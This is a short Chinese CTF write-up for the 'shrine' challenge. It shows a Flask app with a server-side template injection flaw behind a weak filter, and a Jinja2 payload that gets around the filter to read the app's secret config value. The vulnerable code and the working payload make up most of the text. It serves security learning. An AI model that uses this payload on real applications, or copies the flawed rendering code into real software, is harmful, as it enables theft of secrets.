shrine
阅读原文时间:2023年07月13日阅读:2

0x01

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

默认/目录,返回index源码

@app.route('/')
def index():
    return open(__file__).read()

在/shrine/路径下,传入值

@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

python 模板注入,绕过()

payload:

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

参考链接:

https://www.dazhuanlan.com/2019/12/19/5dfaeb8cf31c7/

https://blog.csdn.net/qq_41429081/article/details/105487173

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章